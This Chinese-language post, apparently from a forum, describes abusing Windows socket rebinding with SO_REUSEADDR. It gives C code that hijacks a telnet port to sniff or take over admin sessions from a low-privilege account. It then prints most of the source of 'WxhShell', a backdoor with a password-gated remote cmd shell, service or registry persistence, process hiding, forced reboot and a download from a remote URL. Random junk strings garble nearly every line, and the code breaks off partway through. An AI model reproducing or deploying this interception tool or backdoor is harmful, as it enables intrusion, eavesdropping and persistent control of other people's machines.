在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
R9o- `Wz s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ml!5:r> j? i#L}.I saddr.sin_family = AF_INET;
S?0$? w? oF&l-DHp saddr.sin_addr.s_addr = htonl(INADDR_ANY);
,. EBOUW^ gFN9jM bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
au@a8MP lCT{v@pp 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
/Lf6WMit V"KS[>>f 这意味着什么?意味着可以进行如下的攻击:
:#t*K6dz a[!%Ld 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
7(a2L&k^ t0E 51Ic@ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
V-yUJ#f8[ t T%/r, 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Ri7((x]H" r%]Qlt~K 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Jh/ E@}' X` YwP/D 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
]+Ixi o 6<'K~1do: 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
&2.u%[gO[q (R}ii}& 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
5TKJWO. 'DbMF?<. #include
OS-f(qXd+ #include
3`.P'Fh(k #include
",qU,0 #include
:D:DnVZ-[@ DWORD WINAPI ClientThread(LPVOID lpParam);
Li{~=S@N* int main()
)7c b6jCU {
N:5[,O<m_ WORD wVersionRequested;
|UUdz_i!: DWORD ret;
P5<vf WSADATA wsaData;
w}cY6O,1 BOOL val;
d l]# SOCKADDR_IN saddr;
Yl cbW0'c SOCKADDR_IN scaddr;
ki]ti={12 int err;
k ]a*&me SOCKET s;
9)dfL?x8V{ SOCKET sc;
$%k1fa C int caddsize;
ib6^x:HGU HANDLE mt;
()T[$.( DWORD tid;
G=9d&N wVersionRequested = MAKEWORD( 2, 2 );
a:STQk V err = WSAStartup( wVersionRequested, &wsaData );
^%T7. 1'x if ( err != 0 ) {
io2)1cE&f printf("error!WSAStartup failed!\n");
^eq</5q D return -1;
3,X/,' }
:Ixx<9c. saddr.sin_family = AF_INET;
2h=%K/hhY HfNDD|Zz //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
`TLzVB-j3 W6c]-pc saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+K",^6%1 saddr.sin_port = htons(23);
/B3R1kNf| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
^C)n$L>C0 {
a}yXC<}$ printf("error!socket failed!\n");
g=@_Z" return -1;
>pL2*O^{9 }
!RvRGRSyF val = TRUE;
lEjwgk { //SO_REUSEADDR选项就是可以实现端口重绑定的
Pt,ebL~ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
CB\{! {
z`@^5_ printf("error!setsockopt failed!\n");
jH;Du2w return -1;
`6=-WEo }
&]6)LFm //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
gxNL_(A //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
<=K qcHb //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
gk0.zz([ 6aft$A}XnD if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
L71!J0@a# {
nSx8E7 |V ret=GetLastError();
(t^n'V printf("error!bind failed!\n");
~EiH-z4U return -1;
n||A" @b\ }
(?)7)5H listen(s,2);
U\@A_
B while(1)
,~PYt*X4 {
;U=q-tb caddsize = sizeof(scaddr);
$m$;v<PSe //接受连接请求
&n2e sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
]$-cMX if(sc!=INVALID_SOCKET)
8TV;Rtl {
ed 59B)?l mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Q[n\R@ if(mt==NULL)
3Mjj'5KH! {
~`8hwR1&z printf("Thread Creat Failed!\n");
yc;3Id5?> break;
B:TR2G9UT }
e0,'+;*=g }
h+~P"i}&\ CloseHandle(mt);
K-vWa2 }
H;ZHqcUX closesocket(s);
M5L{*>4|6 WSACleanup();
R{Z-m2La return 0;
kK>X rj6 }
|iYg > DWORD WINAPI ClientThread(LPVOID lpParam)
zSTR^sgJ {
qeL pXe0c SOCKET ss = (SOCKET)lpParam;
6(&Y(/ SOCKET sc;
.\Fss(Zn unsigned char buf[4096];
U%B(5cC SOCKADDR_IN saddr;
b}!3;: iD long num;
rM}0%J' DWORD val;
S:Q! "U DWORD ret;
~^I>#Dd //如果是隐藏端口应用的话,可以在此处加一些判断
>>Ar$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
rsNf$v-* saddr.sin_family = AF_INET;
3k$[r$+" saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
2/P"7A=< saddr.sin_port = htons(23);
Et2JxbD if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
kT IYD o {
+%>:0mT printf("error!socket failed!\n");
n^(A=G return -1;
km5~Gc} }
qNgd33u1 val = 100;
is;XmF*5= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
A?!I/|E^; {
7Ey#u4Q ret = GetLastError();
j`*N,*ha return -1;
r{Rg920 }
yTM3^R( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
V3N0Og3 {
cR{>IH 4^ ret = GetLastError();
H!IshZfktn return -1;
2C^B_FUg|] }
LE^G&<! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
[s1pM1x {
0'Z\O
printf("error!socket connect failed!\n");
SkNre$>t{ closesocket(sc);
j=+"Qz/hr_ closesocket(ss);
^H'a4G3 return -1;
5`[n8mU }
^)yTBn, while(1)
G* b2,9&F {
yBed kj //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
we7c`1E //如果是嗅探内容的话,可以再此处进行内容分析和记录
.aOnGp //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
{i~8 : num = recv(ss,buf,4096,0);
)vB2!H/ if(num>0)
x|64l`Vp(: send(sc,buf,num,0);
vEe NW else if(num==0)
9.O8/0w7LV break;
k,Qskd-N] num = recv(sc,buf,4096,0);
:c[n\)U[aa if(num>0)
uwIc963 send(ss,buf,num,0);
uYG^Pc^v else if(num==0)
.ae O}^ break;
Px@/Q }
S&jesG-F closesocket(ss);
S]3Ev#> closesocket(sc);
R\Z:n* return 0 ;
NF$\^WvYSP }
N[|Nxm0z/C X~.f7Ao[ 1n*W2:,z ==========================================================
~`#-d ^s:
OK|qv [ 下边附上一个代码,,WXhSHELL
" K* ?/*~;fM ==========================================================
-C7]qbT
} zW |=2oX2 #include "stdafx.h"
>k7q
g$ E
.6HpIx #include <stdio.h>
p4u5mM #include <string.h>
"I-
w #include <windows.h>
Tsb{25`+ #include <winsock2.h>
'fwU]Hm #include <winsvc.h>
n_D8JF #include <urlmon.h>
VzS&`d.h @+,pN6}g #pragma comment (lib, "Ws2_32.lib")
L];y}]:F* #pragma comment (lib, "urlmon.lib")
[f~N_G6I^o o/cjXun* #define MAX_USER 100 // 最大客户端连接数
:7N3N #define BUF_SOCK 200 // sock buffer
8
(jUe #define KEY_BUFF 255 // 输入 buffer
wRNroQ =dP{ Gh #define REBOOT 0 // 重启
c>bq%} #define SHUTDOWN 1 // 关机
2LY=DL7 !{^\1QK #define DEF_PORT 5000 // 监听端口
oSb, :^Wl >n5:1.g #define REG_LEN 16 // 注册表键长度
xh@-g|+g #define SVC_LEN 80 // NT服务名长度
eBN)g^ g\oSG) // 从dll定义API
IputF<p typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
iP~,n8W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
*y[PNqyd typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
wYsZM/lw typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
jMBiaX`F l?E a# // wxhshell配置信息
i@"e,7mSG struct WSCFG {
<pLT'Y= int ws_port; // 监听端口
gW(gJ;
L,% char ws_passstr[REG_LEN]; // 口令
{2'm^0Kl int ws_autoins; // 安装标记, 1=yes 0=no
Jhkvd<L8`m char ws_regname[REG_LEN]; // 注册表键名
Fnx`Ri char ws_svcname[REG_LEN]; // 服务名
J<j&;:IRd char ws_svcdisp[SVC_LEN]; // 服务显示名
dpZ;l 9 char ws_svcdesc[SVC_LEN]; // 服务描述信息
9$K;Raz% char ws_passmsg[SVC_LEN]; // 密码输入提示信息
?0*8RK int ws_downexe; // 下载执行标记, 1=yes 0=no
)w~Fo, char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
}71LLzG`/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
r4_eTrC, ZsP2>%" };
I XA>`D (n(
fI f // default Wxhshell configuration
z;u>
Yz+3 struct WSCFG wscfg={DEF_PORT,
0CvsvUN@ "xuhuanlingzhe",
t/i5,le 1,
C2e.2)y "Wxhshell",
F-Z%6O,2 "Wxhshell",
?^HfNp9 "WxhShell Service",
OIb "Wrsky Windows CmdShell Service",
_K2?YY(#> "Please Input Your Password: ",
"T/>d%O1b 1,
lw%?z/HDf "
http://www.wrsky.com/wxhshell.exe",
8am`6;O:! "Wxhshell.exe"
dmrps+L };
`A%^UCd 9e!NOl\_;. // 消息定义模块
5@osnf? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
{WN(&eax char *msg_ws_prompt="\n\r? for help\n\r#>";
[ANuBNF char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
46jh-4)< char *msg_ws_ext="\n\rExit.";
RH)EB<PV char *msg_ws_end="\n\rQuit.";
I lR\
# char *msg_ws_boot="\n\rReboot...";
H( -Y char *msg_ws_poff="\n\rShutdown...";
^[:9fs char *msg_ws_down="\n\rSave to ";
W><Zn=G4)b tEd.'D8 s char *msg_ws_err="\n\rErr!";
sf}Dh char *msg_ws_ok="\n\rOK!";
k4J8O3E 5R$G(Ap_ char ExeFile[MAX_PATH];
i yYJR int nUser = 0;
mbl]>JsQD HANDLE handles[MAX_USER];
y2HxP_s?P? int OsIsNt;
= 64r:E Eq%@"-mo SERVICE_STATUS serviceStatus;
D,l,`jv* SERVICE_STATUS_HANDLE hServiceStatusHandle;
fr6^nDY _Yb_D/ // 函数声明
~0"p*?^ int Install(void);
N8cAqr int Uninstall(void);
5}ie]/[| int DownloadFile(char *sURL, SOCKET wsh);
= iB,["s int Boot(int flag);
9D\4n void HideProc(void);
~i'Nqe_ int GetOsVer(void);
;Z[]{SQ int Wxhshell(SOCKET wsl);
V5}nOGV9 void TalkWithClient(void *cs);
V2Q$g^X' int CmdShell(SOCKET sock);
[a[/_Sf{ int StartFromService(void);
D:\ g,\Z int StartWxhshell(LPSTR lpCmdLine);
/h2b;" bte~c VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
{'+QH)w( VOID WINAPI NTServiceHandler( DWORD fdwControl );
z"4]5&3A _GQz!YA // 数据结构和表定义
+eX)48 SERVICE_TABLE_ENTRY DispatchTable[] =
S&C1 TC {
X8eJ4% {wscfg.ws_svcname, NTServiceMain},
A?Q a 4i {NULL, NULL}
3q[WHwmm };
W|k0R4K]] ~%u|[$ // 自我安装
%WG9 dYdS int Install(void)
.ujT!{>v/ {
rtJl _0` char svExeFile[MAX_PATH];
q}uHFp/J HKEY key;
%m5Q"4O strcpy(svExeFile,ExeFile);
ek aFN\ Vpfp}pL // 如果是win9x系统,修改注册表设为自启动
#BK 9 k>i if(!OsIsNt) {
xynw8;Y, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0XwHP{XaO RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:A46~UA!$ RegCloseKey(key);
:^ i9] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
pqM~l& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jkAAqR R RegCloseKey(key);
d<w~jP\ return 0;
( fD
;g9 }
'J*<iA*W }
BIaDY<j90 }
h.rD}N\L else {
$h9='0Wi0' `D(
xv // 如果是NT以上系统,安装为系统服务
/5AW?2) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
#0I{.Wy] if (schSCManager!=0)
|4) {
>4m'tZ8 SC_HANDLE schService = CreateService
-37a. (
WE}kTq schSCManager,
Hs"(@eDV&J wscfg.ws_svcname,
6TWWlU^e wscfg.ws_svcdisp,
5/[H+O1; SERVICE_ALL_ACCESS,
u/b7Z`yX} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
h)lPi SERVICE_AUTO_START,
b/$km?R SERVICE_ERROR_NORMAL,
:vx$vZb svExeFile,
A|#`k{+1- NULL,
L(;WxHL NULL,
,iNv' NULL,
JN/UUfj NULL,
4Ph0:^i_ NULL
vP%tk s+. );
~jU/<~s if (schService!=0)
\u-0v.+| {
Mj>}zbpk/ CloseServiceHandle(schService);
js^ ,(CS CloseServiceHandle(schSCManager);
o 6 {\Zzp strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Bsf7mcXz7z strcat(svExeFile,wscfg.ws_svcname);
F+UG'4% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
W^,S6! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
}*]B-\> RegCloseKey(key);
v1U?&C return 0;
)/ Ud^wi }
Rx07trfN }
=*BIB5 CloseServiceHandle(schSCManager);
{
kSf{>Ia
}
rjt8fN }
;?fS(Vz~ .@)mxC:\K9 return 1;
lA!"z~03* }
5cr(S~Q; 9L0GLmLk1u // 自我卸载
EqiFy"H int Uninstall(void)
~8 H_u {
sML=5=otx HKEY key;
,ea^,H6 MfF~8 if(!OsIsNt) {
#$~ba%t9% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_i_Q?w` RegDeleteValue(key,wscfg.ws_regname);
->z54 T
RegCloseKey(key);
-Ue$T{;RoH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\mM<\-'p RegDeleteValue(key,wscfg.ws_regname);
|rw%FM{F RegCloseKey(key);
=rA~7+} return 0;
/gcEw!JS }
a/Q$cOs }
qL$a
c}` }
KAA-G2%M else {
n>3U_yt6b }K1 0Po' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
^{$FI`P if (schSCManager!=0)
<`X"}I3ba {
v!3A9!. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
#v#<itfFH if (schService!=0)
S>G?Q_&}?D {
WS-dS6Q} if(DeleteService(schService)!=0) {
0|xIBg) CloseServiceHandle(schService);
p?[Tm*r CloseServiceHandle(schSCManager);
2=0DCF;Bv return 0;
$w)~O<_U }
C,V%B CloseServiceHandle(schService);
7`vEe'qz }
O-]mebTvw CloseServiceHandle(schSCManager);
qs\2Z@; }
!J1rRPV }
_cTh#t ^ 'oNO-)p\#! return 1;
DBLk!~IF }
*,C(\!b
!? 7 J^rv9i4 // 从指定url下载文件
q>f<u& int DownloadFile(char *sURL, SOCKET wsh)
w&$d* E {
#&<)! YY5 HRESULT hr;
#
?1Sm/5k` char seps[]= "/";
[P zv4+ char *token;
}<@j'Ok}. char *file;
uJx"W char myURL[MAX_PATH];
yNW\?Z$@q char myFILE[MAX_PATH];
I4;A8I 3K&4i'}V strcpy(myURL,sURL);
V6$xcAE"</ token=strtok(myURL,seps);
0`.^MC? while(token!=NULL)
^m#-9- ` {
R_]{2~J+ file=token;
iUMY!eqp token=strtok(NULL,seps);
K/m3 }
VUTacA Y>L /-zXM;h GetCurrentDirectory(MAX_PATH,myFILE);
hc
(e$## strcat(myFILE, "\\");
0.$hn strcat(myFILE, file);
Rtb :nJ8 send(wsh,myFILE,strlen(myFILE),0);
v}@xlB= send(wsh,"...",3,0);
M7f;Pa hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
h1 WT if(hr==S_OK)
sAo&
uZ return 0;
W)'*m-I else
qbrp P(. return 1;
WPZ?*Sx (npj_s!.C) }
U<XSj#&8| *vgl*k?) // 系统电源模块
R(.}C)q3 int Boot(int flag)
+[\eFj|= {
9[!,c`pw HANDLE hToken;
u&G.4QQF TOKEN_PRIVILEGES tkp;
(>J4^``x= MRU7W4W-~/ if(OsIsNt) {
s}5cSU!| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
!$2Z-! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
$'W}aER tkp.PrivilegeCount = 1;
&aM7T_h8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ly% F."v AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
ob+euCuJ if(flag==REBOOT) {
f>'Y(dJ'W if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
01!s"wjf return 0;
+% /s*EC'w }
:^UFiUzrE else {
'c\iK=fl if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
I%|>2}-_U return 0;
f}guv~K }
=U|N=/y#hJ }
1+b{}d else {
wf,7== if(flag==REBOOT) {
fEB7j-t if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
(E,T#uc{ return 0;
Vcd.mE(t% }
$/Aj1j`"9+ else {
hF2IW{=! if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
dEBcfya return 0;
kq\)MQ"/X }
+C7 ~b~ % }
zMIT}$L **69rN return 1;
{M,,npl }
TW !&p"Us+ (&$VxuJ+6y // win9x进程隐藏模块
%;#^l+UB void HideProc(void)
cj11S>D {
MX@IHc >#ZUfm{k$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
^
9!!;) if ( hKernel != NULL )
h|X^dQb] {
$ d?.2Kg pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
;?C#IU ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
KfF!{g f FreeLibrary(hKernel);
3D?sL!W }
54zlnM$ -i-? .: return;
Z{'i F }
tTd\| X.`~>`8 // 获取操作系统版本
!3T&4t int GetOsVer(void)
fM^[7;]7e {
#^+DL]*l OSVERSIONINFO winfo;
R$zH] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
6q
2_WX GetVersionEx(&winfo);
`6+"Z=: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
#c^^=Z return 1;
.s$z/Jv else
D7_*k%;@ return 0;
VK@!lJu! }
`~eUee3b.~ ^*fQX1h< // 客户端句柄模块
FVhU^ int Wxhshell(SOCKET wsl)
.F+@B\A< {
gv5*!eI SOCKET wsh;
Q_l'o3 struct sockaddr_in client;
}-~l!
DWORD myID;
s&'QN=A YJ$1N!rG while(nUser<MAX_USER)
m,fAeln
{
LdJYE;k Ju int nSize=sizeof(client);
! VjFW5'{ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Sp@-p9# if(wsh==INVALID_SOCKET) return 1;
BT}&Y6 eYx Kp!f handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
$AHQmyg< if(handles[nUser]==0)
EqI(|bFwy closesocket(wsh);
k{t`|BnPKB else
I}R0q nUser++;
(h:Rh }
37}D9:#5C WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
rj!0GI #c2ymQm return 0;
R:B^ }
qe5feky `-LGU7~+ // 关闭 socket
(Cqn6dWK void CloseIt(SOCKET wsh)
Bj7gQ%>H4 {
irjP>3_e closesocket(wsh);
&c1A*Pl/:G nUser--;
dO%W+K ExitThread(0);
v$^Z6>vVI }
NO :a; {T].]7Z // 客户端请求句柄
D= 7c( void TalkWithClient(void *cs)
4>J
{
y+7PwBo%e oY, %Iq SOCKET wsh=(SOCKET)cs;
Nz)l<S9> char pwd[SVC_LEN];
"Wx]RN: char cmd[KEY_BUFF];
~g.$|^,.O/ char chr[1];
5xL~`-IA&v int i,j;
1) Zf3Y8 TsTPj8GAl[ while (nUser < MAX_USER) {
-lv)tHs< K$d$m < if(wscfg.ws_passstr) {
1@$Ko5 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
fDSv?crv //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
0]4(:(B //ZeroMemory(pwd,KEY_BUFF);
)2M>3C6>f i=0;
~y7jCcd` while(i<SVC_LEN) {
=9T$Gr iQ"XLrpl // 设置超时
iTaWu p fd_set FdRead;
\QB;Ja_ struct timeval TimeOut;
c_>f0i FD_ZERO(&FdRead);
Nv"EV;$ FD_SET(wsh,&FdRead);
)RcL/n TimeOut.tv_sec=8;
=Qn ;_+Ct TimeOut.tv_usec=0;
$.bBFWk int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
9H%X2#:fH if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
VJS8)oI~ +$Rt+S BD if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
bwl|0"f+` pwd
=chr[0]; gmm.{%1_I;
if(chr[0]==0xd || chr[0]==0xa) { ?^N3&ukkyo
pwd=0; |n] d34E
break; FJd]D[h
} qcT'nZ:
i++; ,#8e_3Z$
} n..g~$k
e$pMsw'MJ
// 如果是非法用户,关闭 socket BX yo
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y5j]Z^^v
} uyY|v$FM
h*<P$t
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C/-63O_
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [VWUqlNt>
uDZT_c'Y
while(1) { y
TDNNK
Kde9
$
ZeroMemory(cmd,KEY_BUFF); 3@]SKfoo1
/g4f`$a
// 自动支持客户端 telnet标准 aT`%;i^
j=0; 3Gip<\$v
while(j<KEY_BUFF) { fS`$'BQ
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gatB QwJb9
cmd[j]=chr[0]; cA:*V|YV`
if(chr[0]==0xa || chr[0]==0xd) { mbueP.q[?
cmd[j]=0; .AU)*7Gh
break; ',S'.U
} JGQj w(Xs
j++; |.3DD"*
} +="e]Yh;
|u ;v27
// 下载文件 qQH]`#P
if(strstr(cmd,"http://")) { f@c`8L@g
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~b2wBs)r
if(DownloadFile(cmd,wsh)) ,zT y?OQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (zFi$
else VZl6t;cn
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +) m_o"hl
} Pp5^@A
else { lO_UPC\@fw
%p0xM
switch(cmd[0]) { {qa Aq%'
@#-q^}3
// 帮助 C;vtY[}<
case '?': { Vkc#7W(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w/ K_B:s
break; HC}YY2
} *VZ5B<Ic
// 安装 r#B+(X7LM
case 'i': { "^]cQ"A
if(Install()) -Zz$~$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w4d--[Q
else [2{1b`e
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^R@j=_8}
break; Jtk|w[4L
} aX }P|l
// 卸载 GF^071]G
case 'r': { 6}oXP_0U
if(Uninstall()) .uk>QMs1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yT,.z 0
else ok4@N @
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1{r)L{]
break; RSfzRnhmr
} ^!by3Elqqk
// 显示 wxhshell 所在路径 {7/0< NG
case 'p': { Zc`BiLzrIG
char svExeFile[MAX_PATH]; |UxG $M(
strcpy(svExeFile,"\n\r"); `WH"%V:"Q
strcat(svExeFile,ExeFile); .8G@%p{,
send(wsh,svExeFile,strlen(svExeFile),0); ,5*eX
break; ksN+?E4w
} }I2@%tt?
// 重启 WpRc)g:
case 'b': { PuZf/um
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6<ZkJ:=
if(Boot(REBOOT)) o$Z6zm xO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b^$|Nz;
else { DY?Kfvef
closesocket(wsh); |Xk4&sDrK
ExitThread(0); ]h5Yg/sms
} YS%h^>I^
break; \0f{S40
} }dd8N5b
// 关机 xsMBC
case 'd': { %GS(:]{n
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g #6E|n
if(Boot(SHUTDOWN)) fk x \=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a,WICv0E
else { =^5Alba/
closesocket(wsh); KW^7H
ExitThread(0); y;o^- O
} &Ob!4+v/GP
break; $
.
9V&
} >\Ww;1yV
// 获取shell O6G0
case 's': { ] A+?EE2/
CmdShell(wsh); )(384@'"u
closesocket(wsh); A'&K/) Z
ExitThread(0); -u8NF_{c
break; @("a.;1#o
} p$3sME$L
// 退出 _ "VkGG
case 'x': { SF<c0bR9
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %Va!\#
CloseIt(wsh); `.Qi?* ^
break; &?yZv{
} VQS~\:1
// 离开 I\$X/t +dH
case 'q': { cbT7CG
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Tap.5jHL
closesocket(wsh); #a8B/-
WSACleanup();
VN\W]jT
exit(1); (j3xAA
break; YS *9t
Q{
} 65aK2MS@
} !74S
} W|g4z7Pb
7M<'/s
// 提示信息 F6{bjv2A
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /Id%_,}Kb
} [.uG5%fa
} K8UP,f2
#/<&*Pu5t
return; U5.LDv;
} /q`xCS
0p}D(m2B
// shell模块句柄 2
Cv4=S
int CmdShell(SOCKET sock) &-B^~M*??
{ m4l&
eEp
STARTUPINFO si; WL?\5?G9l
ZeroMemory(&si,sizeof(si)); rcC<Zat,|
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2vWx)Drb6
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .Lsavpo
PROCESS_INFORMATION ProcessInfo; }%_ b$
char cmdline[]="cmd"; \}"$ ?d'f
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9|gr0~j
return 0; 2h1vVF3
} O#S;q5L@
Pn>Xbe
// 自身启动模式 'DL`Ee\
int StartFromService(void) t? yz
{ iCHOv {p.
typedef struct e3nYbWBy]
{ P>NF.BCq
DWORD ExitStatus; g9Xu@N;bL
DWORD PebBaseAddress; w"cZHm
DWORD AffinityMask; IV\'e}
DWORD BasePriority; %~2YE
